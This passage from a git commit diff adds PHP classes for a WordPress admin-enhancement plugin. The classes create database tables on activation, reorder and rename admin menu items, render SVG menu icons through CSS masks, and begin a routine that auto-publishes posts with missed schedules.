This commit is contained in:
2026-07-02 15:54:39 -06:00
commit 9883323161
17470 changed files with 4470592 additions and 0 deletions
@@ -0,0 +1,236 @@
<?php
namespace ASENHA\Classes;
/**
* Plugin Activation
*
* @since 1.0.0
*/
class Activation {
/**
* Create failed login log table for Limit Login Attempts feature
*
* @since 2.5.0
*/
public function create_failed_logins_log_table() {
global $wpdb;
// Limit Login Attempts Log Table
$table_name = $wpdb->prefix . 'asenha_failed_logins';
if ( ! empty( $wpdb->charset ) ) {
$charset_collation_sql = "DEFAULT CHARACTER SET $wpdb->charset";
}
if ( ! empty( $wpdb->collate ) ) {
$charset_collation_sql .= " COLLATE $wpdb->collate";
}
// Drop table if already exists
$wpdb->query("DROP TABLE IF EXISTS `". $table_name ."`");
// Create database table. This procedure may also be called
$sql =
"CREATE TABLE {$table_name} (
id int(6) unsigned NOT NULL auto_increment,
ip_address varchar(40) NOT NULL DEFAULT '',
username varchar(24) NOT NULL DEFAULT '',
fail_count int(10) NOT NULL DEFAULT '0',
lockout_count int(10) NOT NULL DEFAULT '0',
request_uri varchar(24) NOT NULL DEFAULT '',
unixtime int(10) NOT NULL DEFAULT '0',
datetime_wp varchar(36) NOT NULL DEFAULT '',
-- datetime_utc datetime NULL DEFAULT CURRENT_TIMESTAMP,
info varchar(64) NOT NULL DEFAULT '',
UNIQUE (ip_address),
PRIMARY KEY (id)
) {$charset_collation_sql}";
require_once ABSPATH . '/wp-admin/includes/upgrade.php';
dbDelta( $sql );
return true;
}
/**
* Create email delivery log table for Email Delivery module
*
* @since 7.1.0
*/
public function create_email_delivery_log_table() {
global $wpdb;
$table_name = $wpdb->prefix . 'asenha_email_delivery';
if ( ! empty( $wpdb->charset ) ) {
$charset_collation_sql = "DEFAULT CHARACTER SET $wpdb->charset";
}
if ( ! empty( $wpdb->collate ) ) {
$charset_collation_sql .= " COLLATE $wpdb->collate";
}
// Drop table if already exists
$wpdb->query("DROP TABLE IF EXISTS `". $table_name ."`");
// Create database table. This procedure may also be called
$sql =
"CREATE TABLE {$table_name} (
id int(6) unsigned NOT NULL auto_increment,
status enum('successful','failed','unknown') NOT NULL DEFAULT 'unknown',
error varchar(250) NOT NULL DEFAULT '',
subject varchar(250) NOT NULL DEFAULT '',
message longtext NOT NULL DEFAULT '',
send_to varchar(256) NOT NULL DEFAULT '',
sender varchar(256) NOT NULL DEFAULT '',
reply_to varchar(256) NOT NULL DEFAULT '',
headers text NOT NULL DEFAULT '',
content_type text NOT NULL DEFAULT '',
attachments text NOT NULL DEFAULT '',
backtrace text NOT NULL DEFAULT '',
processor text NOT NULL DEFAULT '',
sent_on datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
sent_on_unixtime int(10) NOT NULL DEFAULT '0',
extra longtext NOT NULL DEFAULT '',
PRIMARY KEY (id)
) {$charset_collation_sql}";
require_once ABSPATH . '/wp-admin/includes/upgrade.php';
dbDelta( $sql );
return true;
}
/**
* Create tables for the Form Builder module
*
* @since 7.8.0
*/
public function create_form_builder_tables() {
global $wpdb;
if ( ! empty( $wpdb->charset ) ) {
$charset_collation_sql = "DEFAULT CHARACTER SET $wpdb->charset";
}
if ( ! empty( $wpdb->collate ) ) {
$charset_collation_sql .= " COLLATE $wpdb->collate";
}
require_once ABSPATH . '/wp-admin/includes/upgrade.php';
$fields_table_name = $wpdb->prefix . 'asenha_formbuilder_fields';
$forms_table_name = $wpdb->prefix . 'asenha_formbuilder_forms';
$entries_table_name = $wpdb->prefix . 'asenha_formbuilder_entries';
$entry_meta_table_name = $wpdb->prefix . 'asenha_formbuilder_entry_meta';
$sql = "CREATE TABLE {$fields_table_name} (
id bigint(20) NOT NULL AUTO_INCREMENT,
field_key varchar(100) NULL,
name text NULL,
description longtext NULL,
type text NULL,
default_value longtext NULL,
options longtext NULL,
field_order int(11) DEFAULT 0,
required int(1) NULL,
field_options longtext NULL,
form_id int(11) NULL,
created_at datetime NOT NULL,
PRIMARY KEY (id),
KEY form_id (form_id),
UNIQUE KEY field_key (field_key)
) {$charset_collation_sql}";
dbDelta( $sql );
$sql = "CREATE TABLE {$forms_table_name} (
id int(11) NOT NULL AUTO_INCREMENT,
form_key varchar(100) NULL,
name varchar(255) NULL,
description text NULL,
status varchar(255) NULL,
options longtext NULL,
settings longtext NULL,
styles longtext NULL,
created_at datetime NOT NULL,
PRIMARY KEY (id),
UNIQUE KEY form_key (form_key)
) {$charset_collation_sql}";
dbDelta( $sql );
$sql = "CREATE TABLE {$entries_table_name} (
id bigint(20) NOT NULL AUTO_INCREMENT,
ip text NULL,
form_id bigint(20) NULL,
user_id bigint(20) NULL,
delivery_status tinyint(1) DEFAULT 0,
status varchar(255) NULL,
created_at datetime NOT NULL,
PRIMARY KEY (id),
KEY form_id (form_id),
KEY user_id (user_id)
) {$charset_collation_sql}";
dbDelta( $sql );
$sql = "CREATE TABLE {$entry_meta_table_name} (
id bigint(20) NOT NULL AUTO_INCREMENT,
meta_value longtext NULL,
field_id bigint(20) NOT NULL,
item_id bigint(20) NOT NULL,
created_at datetime NOT NULL,
PRIMARY KEY (id),
KEY field_id (field_id),
KEY item_id (item_id)
) {$charset_collation_sql}";
dbDelta( $sql );
return true;
}
/**
* Part of Disable Embeds module
* Remove embeds rewrite rules on plugin activation.
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L101
* @since 8.0.0
*/
public function disable_embeds_remove_rewrite_rules() {
$common_methods = new Common_Methods;
add_filter( 'rewrite_rules_array', [ $common_methods, 'disable_embeds_rewrites' ] );
flush_rewrite_rules( false );
}
/**
* Deferred flush for the Disable Embeds module.
* Runs on init (late priority) so all CPTs/taxonomies are already registered.
*
* @since 8.5.1
*/
public function maybe_flush_disable_embeds_rewrite_rules() {
$options = get_option( ASENHA_SLUG_U );
if ( ! is_array( $options ) ) {
return;
}
if ( isset( $options['disable_embeds_flush_rewrite_rules_needed'] )
&& true === $options['disable_embeds_flush_rewrite_rules_needed']
) {
$common_methods = new Common_Methods;
add_filter( 'rewrite_rules_array', [ $common_methods, 'disable_embeds_rewrites' ] );
flush_rewrite_rules( false );
$options['disable_embeds_flush_rewrite_rules_needed'] = false;
update_option( ASENHA_SLUG_U, $options, true );
}
}
}
@@ -0,0 +1,510 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Admin Menu Organizer module
*
* @since 6.9.5
*/
class Admin_Menu_Organizer {
/**
* Make the "Collapse Menu" toggler sticky at the bottom of the admin menu
*
* @since 8.2.3
*/
public function make_collapse_menu_item_sticky() {
?>
<style>
#adminmenu #collapse-menu {
position: sticky;
bottom: 0;
background: #1d2327;
z-index: 100;
box-shadow: 0 -2px 5px rgba(0, 0, 0, 0.2);
border-top: 1px solid #3c4349;
}
#adminmenuwrap {
display: flex;
flex-direction: column;
height: 100%;
}
#adminmenu {
display: flex;
flex-direction: column;
flex: 1;
margin: 12px 0 0;
}
.folded #adminmenu #collapse-menu {
position: sticky;
bottom: 0;
background: #1d2327;
}
</style>
<?php
}
/**
* Add Admin Menu item under Settings menu
*
* @since 7.8.5
*/
public function add_menu_item() {
add_submenu_page(
'options-general.php',
// Parent page/menu
__( 'Admin Menu Settings', 'admin-site-enhancements' ),
// Browser tab/window title
__( 'Admin Menu', 'admin-site-enhancements' ),
// Sube menu title
'manage_options',
// Minimal user capabililty
'admin-menu-organizer',
// Page slug. Shows up in URL.
array($this, 'add_admin_menu_settings_page')
);
}
/**
* Create settings page for Admin Menu
*
* @since 7.8.5
*/
public function add_admin_menu_settings_page() {
$render_field = new Settings_Fields_Render();
?>
<div class="wrap admin-menu-organizer">
<h1 class="wp-heading-inline"><?php
echo __( 'Admin Menu Organizer', 'admin-site-enhancements' );
?></h1>
<div class="admin-menu-organizer-main">
<div class="admin-menu-sortables-wrapper">
<?php
$render_field->render_sortable_menu();
?>
</div>
<div class="admin-menu-actions">
<button id="amo-save-changes" class="button button-primary button-large"><?php
echo __( 'Save Changes', 'admin-site-enhancements' );
?></button>
<div class="asenha-saving-changes" style="display:none;"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="#2271b1" d="M12,1A11,11,0,1,0,23,12,11,11,0,0,0,12,1Zm0,19a8,8,0,1,1,8-8A8,8,0,0,1,12,20Z" opacity=".25"/><path fill="#2271b1" d="M12,4a8,8,0,0,1,7.89,6.7A1.53,1.53,0,0,0,21.38,12h0a1.5,1.5,0,0,0,1.48-1.75,11,11,0,0,0-21.72,0A1.5,1.5,0,0,0,2.62,12h0a1.53,1.53,0,0,0,1.49-1.3A8,8,0,0,1,12,4Z"><animateTransform attributeName="transform" dur="0.75s" repeatCount="indefinite" type="rotate" values="0 12 12;360 12 12"/></path></svg></div>
<div class="asenha-changes-saved" style="display:none;"><svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 24 24"><path fill="seagreen" d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10s10-4.48 10-10S17.52 2 12 2zM9.29 16.29L5.7 12.7a.996.996 0 1 1 1.41-1.41L10 14.17l6.88-6.88a.996.996 0 1 1 1.41 1.41l-7.59 7.59a.996.996 0 0 1-1.41 0z"/></svg></div>
</div>
</div>
</div>
<?php
}
/**
* Render custom menu order
*
* @param $menu_order array an ordered array of menu items
* @link https://developer.wordpress.org/reference/hooks/menu_order/
* @since 2.0.0
*/
public function render_custom_menu_order( $menu_order ) {
global $menu;
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
// Get deleted built-in separators
$deleted_separators = ( isset( $options['custom_menu_deleted_separators'] ) ? $options['custom_menu_deleted_separators'] : '' );
$deleted_separators_array = array();
if ( is_string( $deleted_separators ) && !empty( $deleted_separators ) ) {
$deleted_separators_array = json_decode( $deleted_separators, true );
if ( !is_array( $deleted_separators_array ) ) {
$deleted_separators_array = array();
}
}
$common_methods = new Common_Methods();
// Get current menu order. We're not using the default $menu_order which uses index.php, edit.php as array values.
$current_menu_order = array();
foreach ( $menu as $menu_key => $menu_info ) {
if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
$menu_item_id = $menu_info[2];
// Skip deleted built-in separators; Pro distinguishes ASE additional-separator rows.
$skip_deleted_separator = in_array( $menu_item_id, $deleted_separators_array, true );
if ( $skip_deleted_separator ) {
continue;
}
} else {
$menu_item_id = $menu_info[5];
}
$current_menu_order[] = array($menu_item_id, $menu_info[2]);
}
// Get custom menu order
$custom_menu_order = $options['custom_menu_order'];
// comma separated
$custom_menu_order = explode( ",", $custom_menu_order );
// array of menu ID, e.g. menu-dashboard
// Return menu order for rendering
$rendered_menu_order = array();
// Render menu based on items saved in custom menu order
foreach ( $custom_menu_order as $custom_menu_item_id ) {
foreach ( $current_menu_order as $current_menu_item_id => $current_menu_item ) {
// Standard comparison using menu ID from position [5]
if ( $custom_menu_item_id == $current_menu_item[0] ) {
$rendered_menu_order[] = $current_menu_item[1];
} elseif ( $custom_menu_item_id == $current_menu_item[1] ) {
$rendered_menu_order[] = $current_menu_item[1];
}
}
}
// Add items from current menu not already part of custom menu order, e.g. new plugin activated and adds new menu item
foreach ( $current_menu_order as $current_menu_item_id => $current_menu_item ) {
// Check both menu ID and slug to prevent duplicate entries for custom menus
if ( !in_array( $current_menu_item[0], $custom_menu_order ) && !in_array( $current_menu_item[1], $custom_menu_order ) ) {
$rendered_menu_order[] = $current_menu_item[1];
}
}
return $rendered_menu_order;
}
/**
* Apply custom menu item titles
*
* @since 2.9.0
*/
public function apply_custom_menu_item_titles() {
global $menu;
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
// Get custom menu item titles
$custom_menu_titles = $options['custom_menu_titles'];
$custom_menu_titles = explode( ',', $custom_menu_titles );
foreach ( $menu as $menu_key => $menu_info ) {
// Determine menu item ID
if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
$menu_item_id = $menu_info[2];
} else {
// Check if this is a custom menu item (for pro version)
$is_custom_menu = false;
// For custom menus, use slug; for regular menus, use CSS ID
if ( $is_custom_menu ) {
$menu_item_id = $menu_info[2];
// Use slug for custom menus
} else {
$menu_item_id = $menu_info[5];
// Use CSS ID for regular menus
}
}
// Get defaul/custom menu item title
foreach ( $custom_menu_titles as $custom_menu_title ) {
// At this point, $custom_menu_title value looks like toplevel_page_snippets__Code Snippets
$custom_menu_title = explode( '__', $custom_menu_title );
if ( $custom_menu_title[0] == $menu_item_id ) {
$menu_item_title = $custom_menu_title[1];
// e.g. Code Snippets
break;
// stop foreach loop so $menu_item_title is not overwritten in the next iteration
} else {
$menu_item_title = $menu_info[0];
}
}
$menu[$menu_key][0] = $menu_item_title;
}
}
/**
* Apply custom menu item titles
*
* @since 7.9.7
*/
public function apply_custom_title_for_posts_menu() {
global $wp_post_types;
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$admin_menu_options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
// $admin_menu_organizer = new ASENHA\Classes\Admin_Menu_Organizer();
// For 'Posts' menu, if the title has been changed, try changing the labels for it everywhere
$custom_menu_titles = explode( ',', $admin_menu_options['custom_menu_titles'] );
foreach ( $custom_menu_titles as $custom_menu_title ) {
if ( false !== strpos( $custom_menu_title, 'menu-posts__' ) ) {
$custom_menu_title = explode( '__', $custom_menu_title );
$posts_custom_title = $custom_menu_title[1];
$posts_default_title = __( 'Posts', 'admin-site-enhancements' );
if ( is_array( $wp_post_types ) ) {
if ( isset( $wp_post_types['post'] ) && property_exists( $wp_post_types['post'], 'label' ) ) {
$posts_default_title = $wp_post_types['post']->label;
}
}
if ( $posts_default_title != $posts_custom_title ) {
add_filter( 'post_type_labels_post', [$this, 'change_post_labels'] );
add_action( 'init', [$this, 'change_post_object_label'] );
add_action( 'admin_menu', [$this, 'change_post_menu_label'], PHP_INT_MAX );
add_action( 'admin_bar_menu', [$this, 'change_wp_admin_bar'], 80 );
}
}
}
}
/**
* Get custom title for 'Posts' menu item
*
* @since 6.9.13
*/
public function get_posts_custom_title() {
$post_object = get_post_type_object( 'post' );
// object
$posts_default_title = '';
if ( is_object( $post_object ) ) {
if ( property_exists( $post_object, 'label' ) ) {
$posts_default_title = $post_object->label;
} else {
$posts_default_title = $post_object->labels->name;
}
}
$posts_custom_title = $posts_default_title;
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
$custom_menu_titles = ( isset( $options['custom_menu_titles'] ) ? explode( ',', $options['custom_menu_titles'] ) : array() );
if ( !empty( $custom_menu_titles ) ) {
foreach ( $custom_menu_titles as $custom_menu_title ) {
if ( false !== strpos( $custom_menu_title, 'menu-posts__' ) ) {
$custom_menu_title = explode( '__', $custom_menu_title );
$posts_custom_title = $custom_menu_title[1];
}
}
}
return $posts_custom_title;
}
/**
* For 'Posts', apply custom label
*
* @link https://developer.wordpress.org/reference/hooks/post_type_labels_post_type/
* @since 6.9.13
*/
public function change_post_labels( $labels ) {
$post_object = get_post_type_object( 'post' );
// object
$posts_default_title_plural = '';
if ( is_object( $post_object ) ) {
if ( property_exists( $post_object, 'label' ) ) {
$posts_default_title_plural = $post_object->label;
} else {
$posts_default_title_plural = $post_object->labels->name;
}
$posts_default_title_singular = $post_object->labels->singular_name;
$posts_custom_title = $this->get_posts_custom_title();
foreach ( $labels as $key => $label ) {
if ( null === $label ) {
continue;
}
$labels->{$key} = str_replace( [$posts_default_title_plural, $posts_default_title_singular], $posts_custom_title, $label );
}
}
return $labels;
}
/**
* For 'Posts', apply custom label in post object
*
* @since 6.9.12
*/
public function change_post_object_label() {
global $wp_post_types;
$posts_custom_title = $this->get_posts_custom_title();
$labels =& $wp_post_types['post']->labels;
$labels->name = $posts_custom_title;
$labels->singular_name = $posts_custom_title;
$labels->all_items = sprintf(
/* translators: %s is post type or taxonomy label */
__( 'All %s', 'admin-site-enhancements' ),
$posts_custom_title
);
$labels->add_new = __( 'Add New', 'admin-site-enhancements' );
$labels->add_new_item = __( 'Add New', 'admin-site-enhancements' );
$labels->edit_item = __( 'Edit', 'admin-site-enhancements' );
$labels->new_item = $posts_custom_title;
$labels->view_item = __( 'View', 'admin-site-enhancements' );
$labels->search_items = sprintf(
/* translators: %s is post type or taxonomy label */
__( 'Search %s', 'admin-site-enhancements' ),
$posts_custom_title
);
$labels->not_found = sprintf(
/* translators: %s is the post type label */
__( 'No %s found', 'admin-site-enhancements' ),
strtolower( $posts_custom_title )
);
$labels->not_found_in_trash = sprintf(
/* translators: %s is the post type label */
__( 'No %s found in Trash', 'admin-site-enhancements' ),
strtolower( $posts_custom_title )
);
}
/**
* For 'Posts', apply custom label in menu and submenu
*
* @since 6.9.12
*/
public function change_post_menu_label() {
global $submenu;
$posts_custom_title = $this->get_posts_custom_title();
if ( !empty( $posts_custom_title ) ) {
$submenu['edit.php'][5][0] = sprintf(
/* translators: %s is post type or taxonomy label */
__( 'All %s', 'admin-site-enhancements' ),
$posts_custom_title
);
} else {
$submenu['edit.php'][5][0] = sprintf(
/* translators: %s is post type or taxonomy label */
__( 'All %s', 'admin-site-enhancements' ),
$posts_default_title
);
}
}
/**
* For 'Posts', apply custom label in admin bar
*
* @since 6.9.12
*/
public function change_wp_admin_bar( $wp_admin_bar ) {
$posts_custom_title = $this->get_posts_custom_title();
$new_post_node = $wp_admin_bar->get_node( 'new-post' );
if ( $new_post_node ) {
$new_post_node->title = $posts_custom_title;
$wp_admin_bar->add_node( $new_post_node );
}
}
/**
* Hide parent menu items by adding class(es) to hide them
*
* @since 2.0.0
*/
public function hide_menu_items() {
global $menu;
$common_methods = new Common_Methods();
$menu_hidden_by_toggle = $common_methods->get_menu_hidden_by_toggle();
// indexed array
foreach ( $menu as $menu_key => $menu_info ) {
if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
$menu_item_id = $menu_info[2];
} else {
$menu_item_id = $menu_info[5];
}
// Append 'hidden' class to hide menu item until toggled
if ( in_array( $menu_item_id, $menu_hidden_by_toggle ) ) {
$menu[$menu_key][4] = $menu_info[4] . ' hidden asenha_hidden_menu';
}
}
}
/**
* Add toggle to show hidden menu items
*
* @since 2.0.0
*/
public function add_hidden_menu_toggle() {
global $current_user;
// Get menu items hidden by toggle
$common_methods = new Common_Methods();
$menu_hidden_by_toggle = $common_methods->get_menu_hidden_by_toggle();
$submenu_hidden_by_toggle = array();
// Get user capabilities the "Show All/Less" toggle should be shown for
$user_capabilities_to_show_menu_toggle_for = $common_methods->get_user_capabilities_to_show_menu_toggle_for();
// Get current user's capabilities from the user's role(s)
$current_user_capabilities = '';
$current_user_roles = $current_user->roles;
// indexed array of role slugs
foreach ( $current_user_roles as $current_user_role ) {
$current_user_role_capabilities = get_role( $current_user_role )->capabilities;
if ( is_array( $current_user_role_capabilities ) ) {
$current_user_role_capabilities = array_keys( $current_user_role_capabilities );
// indexed array
$current_user_role_capabilities = implode( ",", $current_user_role_capabilities );
$current_user_capabilities .= ',' . $current_user_role_capabilities;
}
}
// Maybe show "Show All/Less" toggle
$show_toggle_menu = false;
if ( !empty( $current_user_capabilities ) ) {
$current_user_capabilities = array_unique( explode( ",", $current_user_capabilities ) );
foreach ( $user_capabilities_to_show_menu_toggle_for as $user_capability_to_show_menu_toggle_for ) {
if ( in_array( $user_capability_to_show_menu_toggle_for, $current_user_capabilities ) ) {
$show_toggle_menu = true;
break;
}
}
}
if ( (!empty( $menu_hidden_by_toggle ) || !empty( $submenu_hidden_by_toggle )) && $show_toggle_menu ) {
add_menu_page(
__( 'Show All', 'admin-site-enhancements' ),
__( 'Show All', 'admin-site-enhancements' ),
'read',
'asenha_show_hidden_menu',
function () {
return false;
},
"dashicons-arrow-down-alt2",
300
);
add_menu_page(
__( 'Show Less', 'admin-site-enhancements' ),
__( 'Show Less', 'admin-site-enhancements' ),
'read',
'asenha_hide_hidden_menu',
function () {
return false;
},
"dashicons-arrow-up-alt2",
301
);
}
}
/**
* Script to toggle hidden menu itesm
*
* @since 2.0.0
*/
public function enqueue_toggle_hidden_menu_script() {
// Get menu items hidden by toggle
$common_methods = new Common_Methods();
$menu_hidden_by_toggle = $common_methods->get_menu_hidden_by_toggle();
$submenu_hidden_by_toggle = array();
if ( !empty( $menu_hidden_by_toggle ) || !empty( $submenu_hidden_by_toggle ) ) {
// Script to set behaviour and actions of the sortable menu
wp_enqueue_script(
'asenha-toggle-hidden-menu',
ASENHA_URL . 'assets/js/toggle-hidden-menu.js',
array(),
ASENHA_VERSION,
false
);
}
}
/**
* Save admin menu via AJAX
*
* @since 6.3.1
*/
public function save_admin_menu() {
if ( isset( $_REQUEST ) ) {
if ( check_ajax_referer( 'save-menu-nonce', 'nonce', false ) ) {
if ( !current_user_can( 'manage_options' ) ) {
wp_send_json_error( array(
'message' => __( 'You do not have permission to perform this action.', 'admin-site-enhancements' ),
) );
}
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
$options['custom_menu_order'] = ( isset( $_REQUEST['custom_menu_order'] ) ? wp_unslash( $_REQUEST['custom_menu_order'] ) : $options['custom_menu_order'] );
$options['custom_menu_titles'] = ( isset( $_REQUEST['custom_menu_titles'] ) ? wp_unslash( $_REQUEST['custom_menu_titles'] ) : $options['custom_menu_titles'] );
$options['custom_menu_hidden'] = ( isset( $_REQUEST['custom_menu_hidden'] ) ? wp_unslash( $_REQUEST['custom_menu_hidden'] ) : $options['custom_menu_hidden'] );
$options_extra['admin_menu'] = $options;
// vi( $options_extra, '', 'save menu' );
$updated = update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
wp_send_json_success( array(
'status' => ( $updated ? 'success' : 'unchanged' ),
'updated' => (bool) $updated,
) );
}
}
}
}
@@ -0,0 +1,235 @@
<?php
/**
* Shared helper for rendering SVG admin menu icons with correct colors on first paint.
*
* WordPress renders `menu_icon` SVG data URIs as <img> initially, and then core's
* `svg-painter` inlines/recolors them, causing a visible "black → scheme color" flash.
* This helper pre-empts that by forcing WordPress to use the `.wp-menu-image:before`
* pseudo-element (via a Dashicon placeholder) and then applying the SVG as a CSS mask.
*
* @since 7.6.0
*/
namespace ASENHA\Classes;
class Admin_Menu_Svg_Icon_Mask {
/**
* Registered SVG data URIs keyed by post type key.
*
* @since 7.6.0
* @var array<string,string>
*/
private static $post_type_svgs = array();
/**
* Registered SVG data URIs keyed by top-level menu slug (from add_menu_page()).
*
* @since 7.6.0
* @var array<string,string>
*/
private static $toplevel_menu_slug_svgs = array();
/**
* Registered SVG data URIs keyed by a substring to match against `href`.
*
* This is useful for menu slugs that are full URLs/queries (e.g. `post.php?post=123&action=edit`).
*
* @since 7.6.0
* @var array<string,string>
*/
private static $href_contains_svgs = array();
/**
* Check whether a string is an SVG data URI that WordPress would render as an <img>.
*
* @since 7.6.0
*
* @param mixed $value Potential menu icon.
* @return bool
*/
public static function is_svg_data_uri( $value ) {
return is_string( $value ) && ( 0 === strpos( $value, 'data:image/svg+xml' ) );
}
/**
* Register an SVG icon for a post type's admin menu entry.
*
* @since 7.6.0
*
* @param string $post_type Post type key.
* @param string $svg_data_uri SVG data URI.
* @return void
*/
public static function register_post_type_svg_icon( $post_type, $svg_data_uri ) {
$post_type = sanitize_key( (string) $post_type );
$svg_data_uri = trim( (string) $svg_data_uri );
if ( '' === $post_type || '' === $svg_data_uri ) {
return;
}
if ( ! self::is_svg_data_uri( $svg_data_uri ) ) {
return;
}
self::$post_type_svgs[ $post_type ] = $svg_data_uri;
}
/**
* Register an SVG icon for a top-level menu entry created by add_menu_page().
*
* @since 7.6.0
*
* @param string $menu_slug Menu slug passed to add_menu_page().
* @param string $svg_data_uri SVG data URI.
* @return void
*/
public static function register_toplevel_menu_slug_svg_icon( $menu_slug, $svg_data_uri ) {
$menu_slug = (string) $menu_slug;
$svg_data_uri = trim( (string) $svg_data_uri );
if ( '' === $menu_slug || '' === $svg_data_uri ) {
return;
}
if ( ! self::is_svg_data_uri( $svg_data_uri ) ) {
return;
}
self::$toplevel_menu_slug_svgs[ $menu_slug ] = $svg_data_uri;
}
/**
* Register an SVG icon for a menu entry by matching a substring within the anchor href.
*
* @since 7.6.0
*
* @param string $needle Substring expected in href.
* @param string $svg_data_uri SVG data URI.
* @return void
*/
public static function register_menu_href_contains_svg_icon( $needle, $svg_data_uri ) {
$needle = trim( (string) $needle );
$svg_data_uri = trim( (string) $svg_data_uri );
if ( '' === $needle || '' === $svg_data_uri ) {
return;
}
if ( ! self::is_svg_data_uri( $svg_data_uri ) ) {
return;
}
self::$href_contains_svgs[ $needle ] = $svg_data_uri;
}
/**
* Enqueue inline CSS masks for all registered menu SVG icons.
*
* @since 7.6.0
*
* @return void
*/
public static function enqueue_mask_css() {
if ( empty( self::$post_type_svgs ) && empty( self::$toplevel_menu_slug_svgs ) && empty( self::$href_contains_svgs ) ) {
return;
}
$css = '';
foreach ( self::$post_type_svgs as $post_type => $svg_data_uri ) {
$post_type = sanitize_key( (string) $post_type );
$svg_data_uri = trim( (string) $svg_data_uri );
if ( '' === $post_type || '' === $svg_data_uri || ! self::is_svg_data_uri( $svg_data_uri ) ) {
continue;
}
$selector = '#adminmenu .menu-icon-' . $post_type . ' .wp-menu-image:before';
$css .= self::build_mask_rule( $selector, $svg_data_uri );
}
foreach ( self::$toplevel_menu_slug_svgs as $menu_slug => $svg_data_uri ) {
$menu_slug = (string) $menu_slug;
$svg_data_uri = trim( (string) $svg_data_uri );
if ( '' === $menu_slug || '' === $svg_data_uri || ! self::is_svg_data_uri( $svg_data_uri ) ) {
continue;
}
$selectors = array(
'#toplevel_page_' . sanitize_title( $menu_slug ) . ' .wp-menu-image:before',
'#adminmenu a[href*="' . self::escape_css_attr_value( $menu_slug ) . '"] .wp-menu-image:before',
);
$css .= self::build_mask_rule( implode( ',' . PHP_EOL, $selectors ), $svg_data_uri );
}
foreach ( self::$href_contains_svgs as $needle => $svg_data_uri ) {
$needle = trim( (string) $needle );
$svg_data_uri = trim( (string) $svg_data_uri );
if ( '' === $needle || '' === $svg_data_uri || ! self::is_svg_data_uri( $svg_data_uri ) ) {
continue;
}
$selector = '#adminmenu a[href*="' . self::escape_css_attr_value( $needle ) . '"] .wp-menu-image:before';
$css .= self::build_mask_rule( $selector, $svg_data_uri );
}
if ( '' === $css ) {
return;
}
wp_add_inline_style( 'asenha-wp-admin', $css );
}
/**
* Build a CSS rule that masks a WP admin menu icon pseudo-element.
*
* @since 7.6.0
*
* @param string $selector CSS selector(s).
* @param string $svg_data_uri SVG data URI.
* @return string
*/
private static function build_mask_rule( $selector, $svg_data_uri ) {
$selector = trim( (string) $selector );
$svg_data_uri = trim( (string) $svg_data_uri );
if ( '' === $selector || '' === $svg_data_uri ) {
return '';
}
return $selector . '{' . PHP_EOL .
"\tcontent:\"\";" . PHP_EOL .
"\tbackground-color:currentColor;" . PHP_EOL .
"\t-webkit-mask-image:url(\"" . $svg_data_uri . "\");" . PHP_EOL .
"\tmask-image:url(\"" . $svg_data_uri . "\");" . PHP_EOL .
"\t-webkit-mask-repeat:no-repeat;" . PHP_EOL .
"\tmask-repeat:no-repeat;" . PHP_EOL .
"\t-webkit-mask-position:center;" . PHP_EOL .
"\tmask-position:center;" . PHP_EOL .
"\t-webkit-mask-size:20px 20px;" . PHP_EOL .
"\tmask-size:20px 20px;" . PHP_EOL .
'}' . PHP_EOL;
}
/**
* Escape a value used inside a double-quoted CSS attribute selector.
*
* @since 7.6.0
*
* @param string $value Raw value.
* @return string
*/
private static function escape_css_attr_value( $value ) {
return str_replace(
array( '\\', '"' ),
array( '\\\\', '\"' ),
(string) $value
);
}
}
@@ -0,0 +1,71 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Auto-Publishing of Posts with Missed Schedules module
*
* @since 6.9.5
*/
class Auto_Publish_Posts_With_Missed_Schedule {
/**
* Publish posts of any type with missed schedule.
* We use the Transients API to reduce straining the site with DB queries on busy sites.
* So, this function will only query the DB once every 15 minutes at most.
*
* @since 3.1.0
*/
public function publish_missed_schedule_posts() {
if ( is_front_page() || is_home() || is_page() || is_single() || is_singular() || is_archive() || is_admin() || is_blog_admin() || is_robots() || is_ssl() ) {
// Get missed schedule posts data from cache
$missed_schedule_posts = get_transient( 'asenha_missed_schedule_posts' );
// Nothing found in cache
if ( false === $missed_schedule_posts ) {
global $wpdb;
$current_gmt_datetime = gmdate( 'Y-m-d H:i:00' );
$args = array(
'public' => true,
'_builtin' => false, // not post, page, attachment, revision or nav_menu_item
);
$custom_post_types = get_post_types( $args, 'names' ); // array, e.g. array( 'project', 'book', 'staff' )
if ( count( $custom_post_types ) > 0 ) {
$custom_post_types = "'" . implode( "','", $custom_post_types ) . "'"; // string, e.g. 'project','book','staff'
$post_types = "'page','post'," . $custom_post_types; // 'page','post','project','book','staff'
} else {
$post_types = "'page','post'";
}
$sql = "SELECT ID FROM $wpdb->posts WHERE post_type IN ($post_types) AND post_status='future' AND post_date_gmt<'$current_gmt_datetime'";
// The following does not work as backslashes are inserted before single quotes in $post_types
// $sql = $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type IN (%s) AND post_status='future' AND post_date_gmt<'%s'", array( $post_types, $current_gmt_datetime ) );
$missed_schedule_posts = $wpdb->get_results( $sql, ARRAY_A );
// Save query results as a transient with expiry of 15 minutes
set_transient( 'asenha_missed_schedule_posts', $missed_schedule_posts, 15 * MINUTE_IN_SECONDS );
}
if ( empty( $missed_schedule_posts ) || ! is_array( $missed_schedule_posts ) ) {
return;
}
